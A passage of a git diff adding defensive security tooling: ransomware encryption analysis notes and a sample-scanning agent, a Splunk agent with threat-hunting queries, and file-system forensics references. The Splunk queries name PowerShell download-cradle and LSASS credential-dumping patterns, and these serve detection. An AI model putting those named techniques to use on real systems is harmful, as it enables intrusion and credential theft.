cipher.decrypt(ciphertext) +``` + +### ChaCha20 Decryption +```python +from Crypto.Cipher import ChaCha20 +cipher = ChaCha20.new(key=key, nonce=nonce) +plaintext = cipher.decrypt(ciphertext) +``` + +### RSA Key Analysis +```python +from Crypto.PublicKey import RSA +key = RSA.import_key(open("pubkey.pem").read()) +print(f"Key size: {key.size_in_bits()} bits") +print(f"Modulus (n): {key.n}") +print(f"Exponent (e): {key.e}") +``` + +## pefile - Crypto API Import Detection + +### Syntax +```python +import pefile +pe = pefile.PE("ransomware.exe") +for entry in pe.DIRECTORY_ENTRY_IMPORT: + for imp in entry.imports: + print(f"{entry.dll.decode()} -> {imp.name}") +``` + +### Key Windows Crypto APIs +| API | Purpose | +|-----|---------| +| `CryptAcquireContext` | Initialize crypto provider | +| `CryptGenRandom` | CSPRNG random bytes | +| `CryptGenKey` | Generate symmetric key | +| `CryptEncrypt` | Encrypt data via CryptoAPI | +| `CryptImportKey` | Import key blob | +| `BCryptOpenAlgorithmProvider` | CNG algorithm handle | +| `BCryptEncrypt` | CNG encryption | +| `BCryptGenerateKeyPair` | CNG asymmetric keygen | + +## Volatility 3 - Key Recovery from Memory + +### Syntax +```bash +vol3 -f memory.dmp windows.yarascan --yara-rule "aes_key" +vol3 -f memory.dmp windows.malfind +vol3 -f memory.dmp windows.pslist +vol3 -f memory.dmp windows.handles --pid +``` + +### AES Key Schedule YARA Rule +```yara +rule AES_Key_Schedule { + strings: + $sbox = { 63 7c 77 7b f2 6b 6f c5 30 01 67 2b fe d7 ab 76 } + condition: + $sbox +} +``` + +## Entropy Analysis Thresholds + +| Range | Interpretation | +|-------|---------------| +| 0-1 | Empty / uniform data | +| 1-5 | Normal code / plaintext | +| 5-7 | Compressed or obfuscated | +| 7-7.9 | Encrypted (block cipher) | +| 7.9-8.0 | Encrypted (stream cipher / AES-CTR) | + +## Known Ransomware Encryption Schemes + +| Family | File Cipher | Key Wrapping | Weakness | +|--------|------------|-------------|----------| +| WannaCry | AES-128-CBC | RSA-2048 | Key may persist in memory | +| LockBit 3.0 | AES-256-CTR | RSA-2048 | None known | +| Conti | AES-256-CBC | RSA-4096 | Leaked builder exposes keys | +| REvil | Salsa20 | ECDH | None known | +| STOP/Djvu | AES-256-CFB | RSA-1024 | Offline key variant decryptable | +| Hive | ChaCha20 | RSA-4096 | Master key recovered by FBI | +| BlackCat | AES-256 | RSA-4096 | None known | +| Babuk | ChaCha20 | ECDH (Curve25519) | Leaked source code | +| Akira | ChaCha20 | RSA-4096 | None known | +| Phobos | AES-256-CBC | RSA-1024 | Weak RSA key size | + +## File Structure Patterns + +### Common Ransomware File Layout +``` +[encrypted_data][encrypted_aes_key(256B)][iv(16B)][magic_marker(4-8B)] +``` + +### Identifying Appended Metadata +```python +with open("file.locked", "rb") as f: + f.seek(-280, 2) # Seek 280 bytes from end + tail = f.read() + rsa_blob = tail[:256] # RSA-2048 encrypted key + iv = tail[256:272] # AES IV (16 bytes) + marker = tail[272:] # Ransomware magic marker +``` + +## NoMoreRansom / ID Ransomware + +### Identification +``` +Upload encrypted file + ransom note to: + https://id-ransomware.malwarehunterteam.com/ +``` + +### Free Decryptors +``` +Check for available decryptors: + https://www.nomoreransom.org/en/decryption-tools.html +``` + +## Ghidra - Reverse Engineering Crypto Routines + +### Crypto Identification Steps +``` +1. Search > For Strings > "AES", "RSA", "Crypt", "encrypt" +2. Search > For Bytes > AES S-Box: 63 7c 77 7b f2 6b +3. Imports > advapi32.dll / bcrypt.dll for Crypto API calls +4. Trace CryptEncrypt xrefs to find encryption routine +5. Identify key buffer size (16=AES-128, 32=AES-256) +6. Check for CryptGenRandom vs time()/GetTickCount seed +``` diff --git a/skills/analyzing-ransomware-encryption-mechanisms/scripts/agent.py b/skills/analyzing-ransomware-encryption-mechanisms/scripts/agent.py new file mode 100644 index 00000000..ab27a53d --- /dev/null +++ b/skills/analyzing-ransomware-encryption-mechanisms/scripts/agent.py @@ -0,0 +1,354 @@ +#!/usr/bin/env python3 +"""Ransomware encryption mechanism analysis agent. + +Analyzes encryption algorithms, key management, file encryption routines, +and assesses decryption feasibility for ransomware samples and encrypted files. +""" + +import os +import sys +import struct +import hashlib +import math +import json +import re +from collections import Counter + + +def compute_hash(filepath): + """Compute SHA-256 hash of a file.""" + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + sha256.update(chunk) + return sha256.hexdigest() + + +def shannon_entropy(data): + """Calculate Shannon entropy of byte data.""" + if not data: + return 0.0 + freq = Counter(data) + length = len(data) + return -sum((c / length) * math.log2(c / length) for c in freq.values()) + + +CRYPTO_CONSTANTS = { + bytes.fromhex("637c777bf26b6fc53001672bfed7ab76"): "AES S-Box (Rijndael)", + bytes.fromhex("52096ad53036a538bf40a39e81f3d7fb"): "AES S-Box (continued)", + bytes.fromhex("6a09e667bb67ae853c6ef372a54ff53a"): "SHA-256 initialization vector", + b"expand 32-byte k": "ChaCha20/Salsa20 constant (256-bit key)", + b"expand 16-byte k": "ChaCha20/Salsa20 constant (128-bit key)", + bytes.fromhex("d1310ba698dfb5ac"): "Blowfish P-array fragment", +} + +CRYPTO_API_NAMES = [ + b"CryptAcquireContext", b"CryptGenKey", b"CryptEncrypt", b"CryptDecrypt", + b"CryptImportKey", b"CryptExportKey", b"CryptGenRandom", b"CryptDeriveKey", + b"BCryptOpenAlgorithmProvider", b"BCryptEncrypt", b"BCryptGenerateKeyPair", + b"BCryptGenerateSymmetricKey", b"BCryptCreateHash", + b"RtlEncryptMemory", b"RtlDecryptMemory", +] + +RANSOMWARE_EXTENSIONS = { + ".locked": ["LockBit", "Generic"], + ".encrypt": ["Generic"], + ".crypt": ["CryptXXX", "Generic"], + ".locky": ["Locky"], + ".cerber": ["Cerber"], + ".zepto": ["Locky variant"], + ".odin": ["Locky variant"], + ".aesir": ["Locky variant"], + ".wncry": ["WannaCry"], + ".WNCRY": ["WannaCry"], + ".wnry": ["WannaCry"], + ".wcry": ["WannaCry"], + ".dharma": ["Dharma/CrySiS"], + ".basta": ["Black Basta"], + ".blackcat": ["BlackCat/ALPHV"], + ".hive": ["Hive"], + ".royal": ["Royal"], + ".rhysida": ["Rhysida"], + ".akira": ["Akira"], + ".lockbit": ["LockBit 3.0"], + ".conti": ["Conti"], + ".ryuk": ["Ryuk"], + ".maze": ["Maze"], + ".revil": ["REvil/Sodinokibi"], + ".sodinokibi": ["REvil/Sodinokibi"], + ".phobos": ["Phobos"], + ".makop": ["Makop"], + ".stop": ["STOP/Djvu"], + ".djvu": ["STOP/Djvu"], +} + + +def identify_ransomware_extension(filepath): + """Identify ransomware family from file extension.""" + ext = os.path.splitext(filepath)[1].lower() + if ext in RANSOMWARE_EXTENSIONS: + return {"extension": ext, "families": RANSOMWARE_EXTENSIONS[ext]} + for known_ext, families in RANSOMWARE_EXTENSIONS.items(): + if ext.endswith(known_ext): + return {"extension": ext, "families": families} + return {"extension": ext, "families": ["Unknown"]} + + +def scan_crypto_constants(filepath): + """Scan binary for known cryptographic constants.""" + with open(filepath, "rb") as f: + data = f.read() + findings = [] + for const_bytes, description in CRYPTO_CONSTANTS.items(): + offset = data.find(const_bytes) + if offset != -1: + findings.append({ + "constant": description, + "offset": f"0x{offset:08X}", + "hex": const_bytes[:16].hex(), + }) + return findings + + +def scan_crypto_apis(filepath): + """Scan binary for Windows Crypto API string references.""" + with open(filepath, "rb") as f: + data = f.read() + found = [] + for api in CRYPTO_API_NAMES: + if api in data: + found.append(api.decode("ascii", errors="replace")) + return found + + +def analyze_encrypted_file(filepath): + """Analyze an encrypted file for ransomware characteristics.""" + with open(filepath, "rb") as f: + data = f.read() + + file_size = len(data) + entropy = shannon_entropy(data) + + # Check for appended metadata (many ransomware families append key material) + tail_256 = data[-256:] if file_size >= 256 else data + tail_entropy = shannon_entropy(tail_256) + + # Check for ECB mode (duplicate 16-byte blocks) + blocks_16 = [data[i:i+16] for i in range(0, min(len(data), 65536), 16)] + unique_16 = len(set(blocks_16)) + total_16 = len(blocks_16) + ecb_ratio = 1.0 - (unique_16 / total_16) if total_16 > 0 else 0 + + # Check for partial encryption (low entropy regions) + chunk_size = min(4096, file_size // 4) if file_size > 16 else file_size + first_entropy = shannon_entropy(data[:chunk_size]) if chunk_size > 0 else 0 + mid_offset = file_size // 2 + mid_entropy = shannon_entropy(data[mid_offset:mid_offset+chunk_size]) if chunk_size > 0 else 0 + last_entropy = shannon_entropy(data[-chunk_size:]) if chunk_size > 0 else 0 + + # Detect magic bytes at tail (ransomware markers) + tail_8 = data[-8:] if file_size >= 8 else data + tail_marker = tail_8.hex() if all(b > 0 for b in tail_8) else None + + return { + "file_size": file_size, + "overall_entropy": round(entropy, 4), + "tail_256_entropy": round(tail_entropy, 4), + "ecb_duplicate_ratio": round(ecb_ratio, 4), + "ecb_likely": ecb_ratio > 0.05, + "partial_encryption": { + "first_chunk_entropy": round(first_entropy, 4), + "mid_chunk_entropy": round(mid_entropy, 4), + "last_chunk_entropy": round(last_entropy, 4), + "likely_partial": abs(first_entropy - mid_entropy) > 2.0, + }, + "tail_marker_hex": tail_marker, + "fully_encrypted": entropy > 7.5, + } + + +def xor_key_recovery(encrypted_data, known_plaintext): + """Attempt XOR key recovery from known plaintext-ciphertext pair.""" + if len(known_plaintext) == 0: + return None + key_stream = bytes(c ^ p for c, p in zip(encrypted_data, known_plaintext)) + # Detect repeating key + for key_len in range(1, min(256, len(key_stream) // 2)): + candidate = key_stream[:key_len] + match = all( + key_stream[i] == candidate[i % key_len] + for i in range(min(len(key_stream), key_len * 4)) + ) + if match and key_len < len(key_stream): + return {"key_hex": candidate.hex(), "key_length": key_len, "key_ascii": candidate.decode("ascii", errors="replace")} + return None + + +def check_file_header_known_plaintext(encrypted_filepath): + """Check if encrypted file retains known file header (partial encryption indicator).""" + KNOWN_HEADERS = { + b"%PDF": "PDF document", + b"PK\x03\x04": "ZIP/DOCX/XLSX archive", + b"\x89PNG": "PNG image", + b"\xff\xd8\xff": "JPEG image", + b"MZ": "PE executable", + b"\x7fELF": "ELF executable", + b"Rar!": "RAR archive", + b"\xd0\xcf\x11\xe0": "OLE2 (DOC/XLS)", + b"SQLite format 3": "SQLite database", + } + with open(encrypted_filepath, "rb") as f: + header = f.read(16) + for magic, filetype in KNOWN_HEADERS.items(): + if header[:len(magic)] == magic: + return {"detected": True, "original_type": filetype, + "note": "File header intact - partial encryption or not encrypted"} + return {"detected": False, "note": "No known file header found - likely fully encrypted from start"} + + +def assess_decryption_feasibility(crypto_constants, crypto_apis, enc_analysis): + """Assess decryption feasibility based on analysis results.""" + weaknesses = [] + strong_points = [] + + if enc_analysis.get("ecb_likely"): + weaknesses.append("ECB mode detected - block patterns preserved, partial plaintext recovery possible") + if enc_analysis.get("partial_encryption", {}).get("likely_partial"): + weaknesses.append("Partial encryption detected - unencrypted file regions may aid recovery") + if enc_analysis.get("overall_entropy", 8) < 6.0: + weaknesses.append("Low entropy suggests weak or partial encryption") + + has_csprng = any("GenRandom" in api for api in crypto_apis) + has_rsa = any("KeyPair" in api or "ImportKey" in api for api in crypto_apis) + has_aes = any("AES" in c.get("constant", "") or "Rijndael" in c.get("constant", "") for c in crypto_constants) + has_chacha = any("ChaCha" in c.get("constant", "") or "Salsa" in c.get("constant", "") for c in crypto_constants) + + if has_csprng: + strong_points.append("CSPRNG key generation (CryptGenRandom) - keys not predictable") + if has_rsa: + strong_points.append("RSA key wrapping - per-file keys protected by asymmetric encryption") + if has_aes: + strong_points.append("AES encryption identified") + if has_chacha: + strong_points.append("ChaCha20/Salsa20 stream cipher identified") + + if not has_csprng: + weaknesses.append("No CSPRNG detected - key generation may be predictable") + + feasibility = "NOT POSSIBLE" if len(strong_points) >= 2 and len(weaknesses) == 0 else \ + "POSSIBLE" if len(weaknesses) >= 2 else \ + "UNLIKELY - check for specific implementation flaws" + + return { + "feasibility": feasibility, + "weaknesses": weaknesses, + "strong_points": strong_points, + "recommendation": "Check NoMoreRansom.org and memory forensics" if feasibility != "NOT POSSIBLE" + else "Restore from backups; no cryptographic weakness found", + } + + +def generate_report(sample_path=None, encrypted_path=None): + """Generate full ransomware encryption analysis report.""" + report = {"analysis_type": "Ransomware Encryption Mechanism Analysis"} + + if sample_path and os.path.exists(sample_path): + report["sample"] = { + "path": sample_path, + "sha256": compute_hash(sample_path), + "size": os.path.getsize(sample_path), + "entropy": round(shannon_entropy(open(sample_path, "rb").read()), 4), + } + report["crypto_constants"] = scan_crypto_constants(sample_path) + report["crypto_apis"] = scan_crypto_apis(sample_path) + + if encrypted_path and os.path.exists(encrypted_path): + report["encrypted_file"] = { + "path": encrypted_path, + "sha256": compute_hash(encrypted_path), + "family_match": identify_ransomware_extension(encrypted_path), + } + report["encryption_analysis"] = analyze_encrypted_file(encrypted_path) + report["header_check"] = check_file_header_known_plaintext(encrypted_path) + + if "crypto_constants" in report or "encryption_analysis" in report: + report["feasibility"] = assess_decryption_feasibility( + report.get("crypto_constants", []), + report.get("crypto_apis", []), + report.get("encryption_analysis", {}), + ) + + return report + + +if __name__ == "__main__": + print("=" * 60) + print("Ransomware Encryption Mechanism Analysis Agent") + print("Algorithm identification, key analysis, decryption feasibility") + print("=" * 60) + + if len(sys.argv) < 2: + print("\n[DEMO] Usage:") + print(" python agent.py # Analyze ransomware sample") + print(" python agent.py # Full analysis") + print(" python agent.py --encrypted # Analyze encrypted file only") + sys.exit(0) + + sample = None + encrypted = None + + if sys.argv[1] == "--encrypted" and len(sys.argv) > 2: + encrypted = sys.argv[2] + else: + sample = sys.argv[1] + encrypted = sys.argv[2] if len(sys.argv) > 2 else None + + report = generate_report(sample_path=sample, encrypted_path=encrypted) + + if sample and os.path.exists(sample): + info = report.get("sample", {}) + print(f"\n[*] Sample: {sample}") + print(f" SHA-256: {info.get('sha256', 'N/A')}") + print(f" Size: {info.get('size', 0)} bytes") + print(f" Entropy: {info.get('entropy', 0)}") + + print("\n--- Crypto Constants Found ---") + for c in report.get("crypto_constants", []): + print(f" [{c['offset']}] {c['constant']}") + + print("\n--- Crypto API Imports ---") + for api in report.get("crypto_apis", []): + print(f" {api}") + + if encrypted and os.path.exists(encrypted): + fm = report.get("encrypted_file", {}).get("family_match", {}) + print(f"\n[*] Encrypted file: {encrypted}") + print(f" Extension: {fm.get('extension', '?')}") + print(f" Possible families: {', '.join(fm.get('families', ['Unknown']))}") + + ea = report.get("encryption_analysis", {}) + print(f"\n--- Encryption Analysis ---") + print(f" Overall entropy: {ea.get('overall_entropy', 0)}") + print(f" Fully encrypted: {ea.get('fully_encrypted', False)}") + print(f" ECB mode likely: {ea.get('ecb_likely', False)}") + partial = ea.get("partial_encryption", {}) + print(f" Partial encryption: {partial.get('likely_partial', False)}") + + hc = report.get("header_check", {}) + print(f"\n--- Header Check ---") + print(f" Known header: {hc.get('detected', False)}") + print(f" Note: {hc.get('note', '')}") + + if "feasibility" in report: + f = report["feasibility"] + print(f"\n--- Decryption Feasibility ---") + print(f" Assessment: {f['feasibility']}") + print(f" Weaknesses:") + for w in f.get("weaknesses", []): + print(f" [!] {w}") + print(f" Strong points:") + for s in f.get("strong_points", []): + print(f" [+] {s}") + print(f" Recommendation: {f['recommendation']}") + + print(f"\n[*] Full report:\n{json.dumps(report, indent=2, default=str)}") diff --git a/skills/analyzing-ransomware-leak-site-intelligence/LICENSE b/skills/analyzing-ransomware-leak-site-intelligence/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-ransomware-leak-site-intelligence/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-security-logs-with-splunk/LICENSE b/skills/analyzing-security-logs-with-splunk/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-security-logs-with-splunk/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-security-logs-with-splunk/references/api-reference.md b/skills/analyzing-security-logs-with-splunk/references/api-reference.md new file mode 100644 index 00000000..df88a282 --- /dev/null +++ b/skills/analyzing-security-logs-with-splunk/references/api-reference.md @@ -0,0 +1,95 @@ +# API Reference: Analyzing Security Logs with Splunk + +## splunk-sdk (splunklib) + +### Connection + +```python +import splunklib.client as client + +service = client.connect( + host="splunk.example.com", + port=8089, + username="admin", + password="secret", + autologin=True, +) +``` + +### Running Searches + +```python +import splunklib.results as results + +# Blocking (synchronous) search +job = service.jobs.create( + "search index=windows EventCode=4625 | stats count by src_ip", + **{"earliest_time": "-24h", "latest_time": "now", "exec_mode": "blocking"} +) + +# Read results as JSON +reader = results.JSONResultsReader(job.results(output_mode="json")) +for row in reader: + if isinstance(row, dict): + print(row) +job.cancel() +``` + +### Oneshot Search (Simple Queries) + +```python +result_stream = service.jobs.oneshot( + "search index=windows EventCode=4624 | head 10", + earliest_time="-1h", + output_mode="json", +) +reader = results.JSONResultsReader(result_stream) +``` + +### Saved Searches + +```python +# List saved searches +for saved in service.saved_searches: + print(saved.name) + +# Run a saved search +saved_search = service.saved_searches["My Alert"] +job = saved_search.dispatch() +``` + +### KV Store Lookups + +```python +collection = service.kvstore["threat_intel_iocs"] +# Insert record +collection.data.insert(json.dumps({"ip": "1.2.3.4", "threat": "C2"})) +# Query records +records = collection.data.query(query=json.dumps({"threat": "C2"})) +``` + +### Key SPL Patterns for Security Analysis + +| Pattern | SPL | +|---------|-----| +| Failed logons | `index=windows EventCode=4625 \| stats count by src_ip` | +| Lateral movement | `index=windows EventCode=4624 Logon_Type=3 \| stats dc(host) by src_ip` | +| Process creation | `index=sysmon EventCode=1 \| table _time, Image, CommandLine` | +| C2 beaconing | `index=proxy \| timechart span=1m count by dest_ip` | +| DNS tunneling | `index=dns \| stats count, avg(len(query)) by domain` | + +### Splunk REST API Endpoints + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/services/search/jobs` | POST | Create a new search job | +| `/services/search/jobs/{sid}/results` | GET | Retrieve search results | +| `/services/saved/searches` | GET | List saved searches | +| `/services/data/indexes` | GET | List available indexes | +| `/services/authentication/users` | GET | List Splunk users | + +### References + +- splunk-sdk PyPI: https://pypi.org/project/splunk-sdk/ +- Splunk REST API docs: https://docs.splunk.com/Documentation/Splunk/latest/RESTREF +- Splunk SDK for Python: https://dev.splunk.com/enterprise/docs/devtools/python/sdk-python/ diff --git a/skills/analyzing-security-logs-with-splunk/scripts/agent.py b/skills/analyzing-security-logs-with-splunk/scripts/agent.py new file mode 100644 index 00000000..0ec3bc8e --- /dev/null +++ b/skills/analyzing-security-logs-with-splunk/scripts/agent.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python3 +"""Agent for analyzing security logs with Splunk using splunk-sdk.""" + +import os +import sys +import json +import time +import argparse +from datetime import datetime, timedelta + +import splunklib.client as client +import splunklib.results as results + + +def connect_splunk(host, port, username, password): + """Establish connection to Splunk instance.""" + service = client.connect( + host=host, + port=port, + username=username, + password=password, + autologin=True, + ) + return service + + +def run_search(service, query, earliest="-24h", latest="now"): + """Execute a Splunk search and return parsed results.""" + kwargs_search = { + "earliest_time": earliest, + "latest_time": latest, + "search_mode": "normal", + "exec_mode": "blocking", + } + job = service.jobs.create(f"search {query}", **kwargs_search) + reader = results.JSONResultsReader(job.results(output_mode="json")) + rows = [row for row in reader if isinstance(row, dict)] + job.cancel() + return rows + + +def detect_brute_force(service, threshold=10, earliest="-24h"): + """Detect brute force attacks via failed logon events (EventCode 4625).""" + query = ( + 'index=windows sourcetype="WinEventLog:Security" EventCode=4625 ' + f"| stats count as failed_attempts, dc(src_ip) as unique_sources, " + f"values(src_ip) as source_ips by TargetUserName " + f"| where failed_attempts > {threshold} " + f"| sort -failed_attempts" + ) + return run_search(service, query, earliest=earliest) + + +def detect_lateral_movement(service, earliest="-24h"): + """Detect lateral movement via Type 3 network logons to multiple hosts.""" + query = ( + 'index=windows sourcetype="WinEventLog:Security" EventCode=4624 ' + "Logon_Type=3 " + "| stats dc(ComputerName) as unique_targets, values(ComputerName) as targets " + "by TargetUserName, src_ip " + "| where unique_targets > 3 " + "| sort -unique_targets" + ) + return run_search(service, query, earliest=earliest) + + +def detect_suspicious_powershell(service, earliest="-24h"): + """Detect encoded or download-cradle PowerShell execution via Sysmon.""" + query = ( + 'index=sysmon EventCode=1 Image="*\\\\powershell.exe" ' + '(CommandLine="*-enc*" OR CommandLine="*-encodedcommand*" ' + 'OR CommandLine="*downloadstring*" OR CommandLine="*iex*") ' + "| table _time, host, User, ParentImage, CommandLine " + "| sort _time" + ) + return run_search(service, query, earliest=earliest) + + +def detect_lsass_access(service, earliest="-24h"): + """Detect credential dumping via LSASS process access (Sysmon Event 10).""" + query = ( + 'index=sysmon EventCode=10 TargetImage="*\\\\lsass.exe" ' + "GrantedAccess=0x1010 " + "| table _time, host, SourceImage, SourceUser, GrantedAccess" + ) + return run_search(service, query, earliest=earliest) + + +def build_incident_timeline(service, hosts, users, earliest="-24h", latest="now"): + """Build a unified incident timeline across multiple log sources.""" + host_filter = " OR ".join(f'host="{h}"' for h in hosts) + user_filter = " OR ".join(f'user="{u}"' for u in users) + query = ( + f"index=windows OR index=sysmon OR index=proxy OR index=firewall " + f"({host_filter} OR {user_filter}) " + '| eval event_summary=case(' + ' sourcetype=="WinEventLog:Security" AND EventCode==4624, ' + ' "Logon: ".TargetUserName." from ".src_ip, ' + ' sourcetype=="WinEventLog:Security" AND EventCode==4625, ' + ' "Failed logon: ".TargetUserName, ' + ' EventCode==1, "Process: ".Image." by ".User, ' + ' 1==1, sourcetype.": ".EventCode) ' + "| table _time, sourcetype, host, event_summary " + "| sort _time" + ) + return run_search(service, query, earliest=earliest, latest=latest) + + +def generate_report(findings): + """Format investigation findings into a structured report.""" + report = { + "report_type": "SPLUNK INVESTIGATION REPORT", + "generated_at": datetime.utcnow().isoformat() + "Z", + "findings": findings, + } + return json.dumps(report, indent=2, default=str) + + +def main(): + parser = argparse.ArgumentParser(description="Splunk Security Log Analysis Agent") + parser.add_argument("--host", default=os.getenv("SPLUNK_HOST", "localhost")) + parser.add_argument("--port", type=int, default=int(os.getenv("SPLUNK_PORT", "8089"))) + parser.add_argument("--username", default=os.getenv("SPLUNK_USERNAME", "admin")) + parser.add_argument("--password", default=os.getenv("SPLUNK_PASSWORD", "")) + parser.add_argument("--earliest", default="-24h", help="Search earliest time") + parser.add_argument("--action", choices=[ + "brute_force", "lateral_movement", "powershell", + "lsass_access", "timeline", "full_investigation" + ], default="full_investigation") + parser.add_argument("--hosts", nargs="*", default=[], help="Target hosts for timeline") + parser.add_argument("--users", nargs="*", default=[], help="Target users for timeline") + parser.add_argument("--threshold", type=int, default=10) + args = parser.parse_args() + + service = connect_splunk(args.host, args.port, args.username, args.password) + findings = {} + + if args.action in ("brute_force", "full_investigation"): + findings["brute_force"] = detect_brute_force(service, args.threshold, args.earliest) + print(f"[+] Brute force: {len(findings['brute_force'])} accounts targeted") + + if args.action in ("lateral_movement", "full_investigation"): + findings["lateral_movement"] = detect_lateral_movement(service, args.earliest) + print(f"[+] Lateral movement: {len(findings['lateral_movement'])} suspicious paths") + + if args.action in ("powershell", "full_investigation"): + findings["suspicious_powershell"] = detect_suspicious_powershell(service, args.earliest) + print(f"[+] Suspicious PowerShell: {len(findings['suspicious_powershell'])} events") + + if args.action in ("lsass_access", "full_investigation"): + findings["lsass_access"] = detect_lsass_access(service, args.earliest) + print(f"[+] LSASS access: {len(findings['lsass_access'])} events") + + if args.action == "timeline" and args.hosts: + findings["timeline"] = build_incident_timeline( + service, args.hosts, args.users, args.earliest + ) + print(f"[+] Timeline: {len(findings['timeline'])} events") + + print(generate_report(findings)) + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-slack-space-and-file-system-artifacts/LICENSE b/skills/analyzing-slack-space-and-file-system-artifacts/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-slack-space-and-file-system-artifacts/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-slack-space-and-file-system-artifacts/references/api-reference.md b/skills/analyzing-slack-space-and-file-system-artifacts/references/api-reference.md new file mode 100644 index 00000000..563f4758 --- /dev/null +++ b/skills/analyzing-slack-space-and-file-system-artifacts/references/api-reference.md @@ -0,0 +1,95 @@ +# API Reference: Analyzing Slack Space and File System Artifacts + +## The Sleuth Kit (TSK) CLI Tools + +### blkls - Extract Slack Space + +```bash +# Extract slack space from partition at offset 2048 +blkls -s -o 2048 evidence.dd > slack_space.raw +``` + +### fls - List Files and Alternate Data Streams + +```bash +# Recursive file listing with ADS +fls -r -o 2048 evidence.dd + +# Filter for ADS entries (lines containing ":") +fls -r -o 2048 evidence.dd | grep ":" +``` + +### icat - Extract File Content by Inode + +```bash +# Extract $MFT (inode 0) +icat -o 2048 evidence.dd 0 > MFT + +# Extract ADS content +icat -o 2048 evidence.dd 14523:Zone.Identifier +``` + +### istat - Display Inode Details + +```bash +istat -o 2048 evidence.dd 14523 +``` + +## analyzeMFT (Python) + +```bash +pip install analyzeMFT + +analyzeMFT.py -f MFT -o mft_output.csv -c +``` + +## USN Journal Parsing + +### Record Structure (USN_RECORD_V2) + +| Offset | Size | Field | +|--------|------|-------| +| 0 | 4 | Record length | +| 4 | 2 | Major version | +| 8 | 8 | MFT reference | +| 16 | 8 | Parent MFT reference | +| 32 | 8 | Timestamp (FILETIME) | +| 40 | 4 | Reason flags | +| 56 | 2 | Filename length | +| 58 | 2 | Filename offset | + +### Reason Flags + +| Flag | Meaning | +|------|---------| +| `0x100` | FILE_CREATE | +| `0x200` | FILE_DELETE | +| `0x1000` | RENAME_OLD_NAME | +| `0x2000` | RENAME_NEW_NAME | +| `0x80000000` | CLOSE | + +## bulk_extractor + +```bash +bulk_extractor -o output_dir/ slack_space.raw +``` + +## MFTECmd (Eric Zimmerman) + +```bash +MFTECmd.exe -f MFT --csv output/ --csvf mft_analysis.csv +MFTECmd.exe -f UsnJrnl_J --csv output/ --csvf usn_journal.csv +``` + +## foremost - File Carving + +```bash +foremost -t jpg,pdf,zip -i slack_space.raw -o carved_files/ +``` + +### References + +- The Sleuth Kit: https://sleuthkit.org/sleuthkit/ +- analyzeMFT: https://pypi.org/project/analyzeMFT/ +- MFTECmd: https://github.com/EricZimmerman/MFTECmd +- bulk_extractor: https://github.com/simsong/bulk_extractor diff --git a/skills/analyzing-slack-space-and-file-system-artifacts/scripts/agent.py b/skills/analyzing-slack-space-and-file-system-artifacts/scripts/agent.py new file mode 100644 index 00000000..eefb514d --- /dev/null +++ b/skills/analyzing-slack-space-and-file-system-artifacts/scripts/agent.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 +"""Agent for analyzing NTFS slack space and file system 